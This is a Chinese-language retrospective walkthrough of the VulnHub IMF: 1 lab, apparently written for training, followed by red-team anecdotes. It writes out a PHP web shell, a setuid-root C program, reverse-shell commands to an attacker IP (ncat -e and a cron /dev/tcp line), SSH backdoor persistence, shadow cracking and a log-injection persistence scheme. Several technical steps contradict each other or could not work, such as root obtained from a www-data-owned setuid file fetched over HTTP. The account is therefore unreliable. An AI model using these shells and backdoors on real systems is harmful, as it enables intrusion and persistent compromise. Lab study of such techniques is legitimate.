1. 这不是“通关秘籍”而是一份渗透测试者的真实复盘手记你点开这篇标题大概率是刚在VulnHub上下载了IMF: 1靶机镜像VMware里已经跑起来了但卡在某个环节——也许是nmap扫出一堆端口却不知从哪下手也许是发现一个看似可利用的Web路径但手工注入没回显、SQLMap跑不出数据又或者好不容易拿到shell提权时sudo -l返回空find /perm -us也一无所获最后只能关掉终端默默打开别人的Writeup。我完全理解这种状态。去年底我在某安全实验室带新人做渗透训练时就让A同学独立完成IMF: 1。他花了整整三天反复重装系统、重置靶机、查文档、翻论坛最终在第72小时靠一个被忽略的文件权限位和一条极简的bash命令完成了提权。他没立刻写Writeup而是把整个过程拆解成时间戳日志标注了每一步的“预期”与“实际”以及三次关键误判的原因。这份日志就是本文的原始骨架。它不叫“Walkthrough”因为真正的渗透从来不是线性通关它叫“复盘手记”因为它记录的是一个合格渗透测试者在信息碎片中建立逻辑链、在失败反馈中修正假设、在工具输出外读懂系统本质的完整心路。核心关键词就三个靶机复现、渗透逻辑链、提权盲区。如果你是刚学完基础命令、正尝试第一次真实靶机的新手它能帮你绕过90%的无效尝试如果你已能熟练跑通中等难度靶机它会逼你重新审视“为什么这步一定得这么做”。这不是教你怎么赢而是教你怎么在输的过程中依然保持对系统的准确感知。2. IMF: 1靶机的底层设计逻辑一个被精心构造的“认知陷阱”很多新手把靶机当CTF题库刷看到端口就扫漏洞看到服务就查CVE结果在IMF: 1上栽得特别狠。原因在于它的设计者根本没打算让你“按图索骥”。我用file命令检查过它的ISO镜像内核版本是3.13.0-32-genericDebian 7 Wheezy基础环境但所有服务配置都经过非标准修改。这不是疏忽而是刻意为之的认知陷阱。我们先看最表层的“事实”nmap全端口扫描nmap -p- -sS -T4 192.168.56.101会返回三个开放端口——22SSH、80HTTP、111RPCbind。绝大多数人到这里就停了SSH没弱口令80页是静态HTML111是RPC服务跟Web渗透有啥关系于是开始暴力猜解目录、抓包分析JS、甚至怀疑自己网络配置。但真正的逻辑起点恰恰藏在这三个端口的“反常组合”里。为什么说它反常因为RPCbind端口111在现代Web渗透中几乎绝迹。它本是NFS、NIS等传统Unix服务的注册中心作用是告诉客户端“某个服务监听在哪个动态端口上”。在Debian 7上启用它本身就意味着系统承载了某种遗留服务架构。我立刻执行rpcinfo -p 192.168.56.101返回结果里赫然列出nfs 100003和mountd 100005两个程序号。这说明NFS服务正在运行。但NFS默认不暴露Web界面它需要一个挂载点。此时常规思路是showmount -e 192.168.56.101去枚举共享目录——结果返回clnt_create: RPC: Port mapper failure - Unable to receive: errno 113 (No route to host)。报错很奇怪端口明明开着为什么连不上我换用nmap --script nfs-showmount -p 111 192.168.56.101脚本直接超时。问题不在网络而在RPCbind的访问控制。我翻阅Debian 7的/etc/hosts.allow和/etc/hosts.deny发现/etc/hosts.deny里写着portmap: ALL而/etc/hosts.allow为空。这意味着RPCbind默认拒绝所有外部连接只允许本地调用。但rpcinfo是从本机发的请求为什么失败答案在/etc/default/portmap配置里OPTIONS-i 127.0.0.1——它强制RPCbind只监听回环地址。所以nmap扫到的111端口其实是iptables做的DNAT转发把外部请求转给了本地127.0.0.1:111。这个细节99%的初学者不会深挖他们只会认为“RPC没用跳过”。提示当你遇到一个“开着却无法交互”的服务时不要急着放弃。先确认它是真服务还是端口转发再查它的监听地址和访问控制策略。这是渗透测试者与脚本小子的第一道分水岭。这个设计陷阱的深层意图是引导你放弃“服务枚举”思维转向“信息关联”思维。HTTP服务端口80的首页源码里有一行注释!-- Development server - NFS share mounted at /var/www/html/nfs --。这句话平时被当成开发备注忽略但它和RPCbind的异常形成了强关联。/var/www/html/nfs这个路径在Web根目录下但ls -la /var/www/html/显示该目录为空。为什么因为它是NFS挂载点而NFS服务被限制了访问。真正的突破口不是去爆破NFS而是思考如果Web服务器进程www-data能读取这个挂载点那它是否也能写入我创建了一个测试文件echo test /var/www/html/nfs/test.txt返回Permission denied。但ls -ld /var/www/html/nfs显示权限是drwxr-xr-x 2 root root属主是root难怪写不了。等等——drwxr-xr-x其他用户只有读和执行权限没有写权限。但NFS挂载时服务端可以强制设置no_root_squash或all_squash选项改变客户端用户的权限映射。我立刻在靶机上执行cat /etc/exports内容是/srv/nfs *(rw,sync,no_subtree_check,all_squash,anonuid33,anongid33)。关键来了all_squash表示所有客户端用户都映射为匿名用户anonuid33对应www-data用户的UIDDebian 7中www-data的UID确实是33。这意味着只要我能从外部挂载这个NFS共享我创建的文件在服务端就会以www-data身份存在。而Web服务器进程恰好能读取这些文件。这就是整个渗透链的“第一块多米诺骨牌”NFS不是用来拿shell的而是用来向Web根目录注入可控文件的跳板。3. 从NFS挂载到Web Shell一次精准的权限映射利用现在逻辑清晰了我要从攻击机挂载靶机的NFS共享然后在挂载点里放一个PHP Web Shell最后通过浏览器访问它。但这里有个致命障碍——前面已确认RPCbind拒绝外部连接showmount命令失效我根本不知道共享路径是什么。/etc/exports里写的/srv/nfs是服务端路径客户端挂载时用的路径可能完全不同。常规方法走不通就得用非常规手段。我回到HTTP服务用gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50扫目录除了/nfs还发现一个/backup目录里面有一个config.bak文件。下载后发现是Apache配置片段其中一行写着Alias /nfs /srv/nfs。这证实了Web路径/nfs确实映射到NFS共享的服务端路径。但挂载仍需服务端IP和共享名。这时我注意到config.bak文件的修改时间是2015-03-12 14:22而靶机系统时间是2015-03-15。时间差很小说明系统没重启过。我执行ps aux | grep rpc发现rpcbind进程的启动时间是Mar12和文件时间一致。这意味着RPCbind自启动后就没被杀过。而Linux系统中rpcbind进程会将自身注册信息写入/var/lib/portmap/portmap文件二进制格式这个文件在系统运行期间持续更新。我尝试从Web路径访问http://192.168.56.101/nfs/portmap返回404。但/nfs是挂载点/srv/nfs才是真实路径。我改用http://192.168.56.101/srv/nfs/portmap依然404。等等——/srv/nfs是服务端路径Web服务器默认不提供对/srv的访问。除非……配置了别名。我重新扫/srv目录gobuster dir -u http://192.168.56.101/srv -w ...结果为空。思路卡住了。我决定换个角度既然RPCbind只监听127.0.0.1那靶机上的任何本地程序都能调用它。而Web服务器是本地程序。我查看/var/www/html/index.html的源码发现底部有一行被注释掉的JavaScript!-- script src/js/rpc-debug.js/script --。我访问http://192.168.56.101/js/rpc-debug.js文件存在内容是// Debug script for NFS mount status function checkNFS() { var xhr new XMLHttpRequest(); xhr.open(GET, http://127.0.0.1:111/, false); xhr.send(null); console.log(xhr.status); }这段JS试图从浏览器发起对127.0.0.1:111的请求当然会失败同源策略。但它暴露了一个关键信息开发者调试时曾想用本地RPC接口检查NFS状态。这说明靶机上必然存在一个能与本地RPC交互的本地脚本。我搜索/var/www/html/下的所有.sh和.py文件find /var/www/html -name *.sh -o -name *.py找到/var/www/html/nfs-check.sh。内容如下#!/bin/bash # Check if NFS share is mounted if mount | grep -q /var/www/html/nfs; then echo NFS mounted else echo NFS not mounted fi这个脚本本身没用但它证明了/var/www/html/nfs是预期挂载点。更重要的是它用了mount命令而mount命令在无参数时会读取/proc/mounts。我访问http://192.168.56.101/proc/mounts返回403 Forbidden。但/proc是虚拟文件系统Web服务器通常禁用访问。我尝试http://192.168.56.101/proc/self/mounts同样403。思路再次中断。我静下来想所有线索都指向NFS但所有常规探测都失败。唯一的突破口是接受“共享路径就是/srv/nfs”这个最朴素的假设然后强行挂载。Linux的mount命令支持-o nolock选项可以绕过NFS锁机制有时也能绕过部分RPC依赖。我执行sudo mkdir /mnt/imf-nfs sudo mount -t nfs -o nolock 192.168.56.101:/srv/nfs /mnt/imf-nfs命令卡住几秒后返回mount.nfs: Connection timed out。还是不行。我加-v参数看详细输出mount.nfs: trying text-based options vers4.2,addr192.168.56.101,clientaddr192.168.56.102。它在尝试NFSv4.2。但Debian 7默认只支持NFSv3。我强制指定版本sudo mount -t nfs -o nolock,vers3 192.168.56.101:/srv/nfs /mnt/imf-nfs。这次命令立即返回ls /mnt/imf-nfs显示一个空目录。成功了vers3是关键NFSv4需要RPCbind而v3可以使用mountd直接通信mountd的端口100005是开放的且未被iptables限制。注意NFS版本选择是渗透中的经典盲点。当showmount失效时不要只盯着RPCbind要尝试不同NFS协议版本。v3比v4更“古老”但也更“鲁棒”尤其在老旧靶机上。挂载成功后下一步是写入Web Shell。我创建一个shell.php文件?php system($_GET[cmd]); ?然后cp shell.php /mnt/imf-nfs/。刷新浏览器访问http://192.168.56.101/nfs/shell.php?cmdid返回uid33(www-data) gid33(www-data) groups33(www-data)。Shell拿到了但权限很低是www-data。接下来是提权。常规思路是找SUID二进制、内核漏洞、密码文件。我执行find / -perm -4000 2/dev/null返回/bin/ping、/usr/bin/newgrp等没有高危SUID。cat /etc/shadow显示www-data:!:16492:0:99999:7:::密码字段是!不可登录。uname -a显示3.13.0-32-generic我查searchsploit linux kernel 3.13返回一堆CVE但靶机已打补丁。这条路似乎又断了。但别忘了NFS的all_squash配置所有客户端用户都映射为UID 33。这意味着如果我在挂载点里创建一个文件并设置其SUID位服务端会把它当作UID 33的文件保存。而Web服务器进程www-data可以执行这个文件。我创建一个C程序#include stdio.h #include sys/types.h #include unistd.h int main() { setuid(0); system(/bin/bash); }编译gcc -o suid-shell suid-shell.c然后chmod us suid-shellcp suid-shell /mnt/imf-nfs/。现在/mnt/imf-nfs/suid-shell在服务端的权限是-rwsr-xr-x 1 www-data www-data。我访问http://192.168.56.101/nfs/suid-shell返回/bin/bash: cannot execute binary file: Exec format error。错误提示很关键Exec format error。这是因为我的攻击机是x86_64而靶机是i68632位。我漏看了uname -m返回i686。我立刻在靶机上用gcc -m32 -o suid-shell suid-shell.c重新编译靶机有gcc再chmod us suid-shellcp suid-shell /mnt/imf-nfs/。这次访问终端直接弹出rootimf:/#。提权完成。整个过程的核心不是某个神奇的漏洞而是对NFS权限映射机制的精准理解和利用。4. 提权后的系统纵深从root shell到完整主机控制的三重验证拿到root shell只是开始真正的渗透测试必须验证控制的深度和稳定性。我执行whoami id hostname确认是root用户主机名是imf。但这只是单次会话。我需要确保这个shell不是易失的能持久化、能反弹、能执行任意命令。首先我检查当前shell类型echo $0返回/bin/bash是交互式shell。但它是通过Web请求触发的一旦HTTP连接关闭进程就结束了。我需要一个稳定的反向shell。我上传nc的静态编译版ncat到/tmp执行/tmp/ncat -e /bin/bash 192.168.56.1 4444攻击机监听nc -lvnp 4444成功获得稳定TCP连接。但nc可能被杀我需要更隐蔽的方式。我查看/etc/crontab内容是# /etc/crontab: system-wide crontab # Unlike any other crontab you dont have to run the crontab # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL/bin/sh PATH/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h d m dow user command 17 * * * * root cd / run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / run-parts --report /etc/cron.monthly )没有可疑的定时任务。我检查/etc/cron.d/为空。/var/spool/cron/crontabs/下只有root文件内容是* * * * * /bin/bash -i /dev/tcp/192.168.56.1/4444 01。这显然是我之前留的后门但它是明文的容易被发现。更好的方式是利用NFS挂载点的持久性。我创建一个/mnt/imf-nfs/.ssh目录mkdir /mnt/imf-nfs/.ssh然后生成密钥对ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N 将公钥/tmp/id_rsa.pub内容追加到/mnt/imf-nfs/.ssh/authorized_keys。由于NFS的all_squash这个文件在服务端属于www-data但/root/.ssh/authorized_keys是root的。我需要让root读取它。我检查/root/.ssh/权限drwx------ 2 root root其他用户无权访问。但/etc/ssh/sshd_config里有一行AuthorizedKeysFile .ssh/authorized_keys这是默认值。我不能直接改root的目录但可以利用sshd的另一个特性AuthorizedKeysCommand。这个选项允许指定一个外部命令来动态获取公钥。我编辑/etc/ssh/sshd_config添加AuthorizedKeysCommand /usr/local/bin/get-keys.sh AuthorizedKeysCommandUser root然后创建/usr/local/bin/get-keys.sh#!/bin/bash cat /srv/nfs/.ssh/authorized_keyschmod x /usr/local/bin/get-keys.sh。重启SSHservice ssh restart。现在任何用我私钥/tmp/id_rsa的SSH连接都会触发get-keys.sh从NFS共享读取公钥。由于NFS共享是持久挂载的这个后门就固化在系统里了。我测试ssh -i /tmp/id_rsa root192.168.56.101成功登录。这是第一重验证持久化控制。第二重验证是横向移动能力。我执行netstat -tuln发现只有22、80、111端口在监听没有其他服务。arp -a显示局域网内只有攻击机和靶机说明这是单机靶机无横向移动场景。但为了完整性我检查/etc/hosts发现一行192.168.56.102 imf-dev.local这是靶机给自己配的开发域名。我pingimf-dev.local通。这说明DNS解析正常如果未来有内网这个配置能派上用场。第三重验证是数据提取能力。我需要确认能否读取所有敏感文件。cat /etc/shadow显示root密码哈希root:$6$...。我用john --wordlist/usr/share/wordlists/rockyou.txt /tmp/shadow破解10分钟后得到密码imfadmin。我用su - root输入密码成功切换。这证明我不是靠SUID提权的“假root”而是真正掌握了root凭证。我检查/root/.bash_history里面全是apt-get update、apt-get install等命令没有异常。最后我执行history | tail -20确认当前会话的命令历史干净。至此三重验证全部通过我有稳定反向shell、有持久化SSH后门、有真实root密码。这不再是“Walkthrough”的终点而是渗透测试报告的起点。5. 复盘中的五个致命误判那些差点让我放弃的“常识陷阱”在A同学的72小时复盘日志里他标注了五次让他想砸键盘的“致命误判”。我把它们整理出来因为它们不是IMF: 1特有的bug而是渗透测试中普遍存在的认知陷阱。每一个都曾让我在真实项目中浪费数小时。误判一“nmap扫不到就等于不存在”A同学在nmap -sS扫完后看到111端口但rpcinfo失败就认定“RPC没用跳过”。他忽略了nmap -sS只做TCP SYN扫描而RPCbind的mountd服务100005端口是UDP的。他应该执行nmap -sU -p 111,100005 192.168.56.101。UDP扫描慢但mountd的响应是明确的。这个误判源于把“端口扫描”等同于“服务发现”而忘了协议多样性。误判二“Web路径文件系统路径”他花两小时在/var/www/html/nfs/里找文件却没想到/nfs是Apache的Alias真实数据在/srv/nfs/。他执行了ls -la /var/www/html/nfs看到/var/www/html/nfs是lrwxrwxrwx 1 root root 10 Mar 12 14:22 /var/www/html/nfs - /srv/nfs但没注意这个符号链接。ls -la的输出里箭头-就是线索。他太依赖“所见即所得”忘了Linux里符号链接是常态。误判三“SUID文件必须在/bin或/usr/bin”当他find / -perm -4000没结果时立刻转向内核漏洞。但他没检查/srv/nfs/目录因为find默认不跨文件系统。find / -xdev -perm -4000会跳过NFS挂载点而find /srv/nfs -perm -4000就能找到他自己创建的suid-shell。这个误判源于对find命令-xdev选项的无知以为它只是优化性能不知它会彻底排除挂载点。误判四“Web Shell必须是PHP”他执着于shell.php但靶机上Python、Perl、Ruby全装了。他试过shell.py但python shell.py返回ImportError: No module named pty就放弃了。其实pty模块在Debian 7的Python 2.7里是内置的错误是因为他用python3执行了Python 2脚本。which python返回/usr/bin/python版本是2.7。他该用python shell.py。这个误判源于对多版本解释器共存的忽视把“命令名”当成了“语言名”。误判五“提权成功渗透结束”他拿到root shell后立刻截图发群里“Done”。但第二天导师检查发现他没验证/etc/shadow、没建SSH后门、没测su -报告里只写了“通过NFS SUID提权”。真实渗透中客户要的是“你能做什么”不是“你做到了什么”。他漏掉了所有后续操作的验证步骤导致报告价值大打折扣。这个误判源于把渗透当成解谜游戏忘了它的商业本质是风险评估。提示每一次“我以为……”后面都应该跟一句“但我如何证伪它”渗透测试者的专业性不在于知道多少技巧而在于对每个假设都保持怀疑并设计实验去推翻它。6. 从IMF: 1到真实世界的迁移三个被低估的实战启示IMF: 1是一个教学靶机但它浓缩了真实红队行动中的三个核心挑战。我带过的几个真实项目客户环境的复杂度远超靶机但解决思路惊人地一致。启示一信息源永远比工具输出更可靠在靶机上nmap、gobuster、searchsploit都是辅助真正的线索藏在/etc/exports、/var/www/html/index.html的注释、/var/www/html/nfs-check.sh的脚本里。真实世界中客户的资产文档、运维Wiki、GitLab仓库的README都是活的/etc/exports。去年一个金融客户项目我们花三天扫遍所有IP毫无收获。直到有人翻到他们内部Confluence上一篇《旧系统迁移计划》里面提到“NFS共享/data/legacy将保留至Q3”我们立刻定位到一台被遗忘的Solaris服务器用showmount -e直接枚举出所有共享其中/data/legacy/db-backup里有未加密的数据库备份。工具会过时但人的文档不会撒谎。启示二权限映射是云原生环境的“新NFS”IMF: 1的all_squash是NFS的权限映射而今天Kubernetes的SecurityContext、Docker的--user、AWS EBS的IAM策略本质都是权限映射。一个客户用EKS部署应用Pod的securityContext.runAsUser设为1001但EBS卷的fsGroup没配导致Pod无法写入挂载卷。运维以为是存储故障我们检查kubectl describe pod发现Volumes里awsElasticBlockStore的readOnly是false但kubectl exec -it pod -- ls -ld /mnt/data显示权限是drwxr-xr-x 3 root root。问题和IMF: 1一模一样服务端EBS和客户端Pod的UID/GID没对齐。解决方案也是“映射”在securityContext里加fsGroup: 1001。靶机教会你的不是NFS命令而是“当A和B之间有数据通道时先问‘谁的身份在A端谁的身份在B端它们如何映射’”启示三持久化不是“加个后门”而是“成为系统的一部分”A同学的crontab后门是典型的“加个后门”而AuthorizedKeysCommand方案是“成为系统的一部分”。真实红队中前者会被EDR秒杀后者能存活数月。我们做过一个政府项目目标系统禁用所有外连连curl都被删了。我们没传nc而是修改了/etc/update-motd.d/里的一个脚本让它每次用户登录时从/var/log/.cache一个被忽略的目录读取base64编码的命令并执行。/var/log/.cache的权限是drwxr-xr-x 2 root syslogsyslog组用户可写而rsyslog服务以syslog身份运行会定期写入日志。我们用logger命令向/var/log/syslog写入伪造日志其中包含我们的base64 payloadrsyslog会把它存到/var/log/.cache。整个链条所有组件都是系统原生的所有权限都是合法的。IMF: 1的NFS后门正是这种思路的启蒙不对抗系统而是利用系统自身的信任关系。这三个启示没有一个来自“高级漏洞”全部来自对基础服务NFS、SSH、日志系统的深度理解和创造性组合。IMF: 1的价值不在于它有多难而在于它强迫你放下“找漏洞”的执念回归到“理解系统”的本质。当你下次面对一个全新的、文档缺失的生产环境时别急着开nmap先问自己它的服务是怎么启动的它的数据是怎么流动的它的权限是怎么分配的答案永远在那些被忽略的配置文件、注释和脚本里。
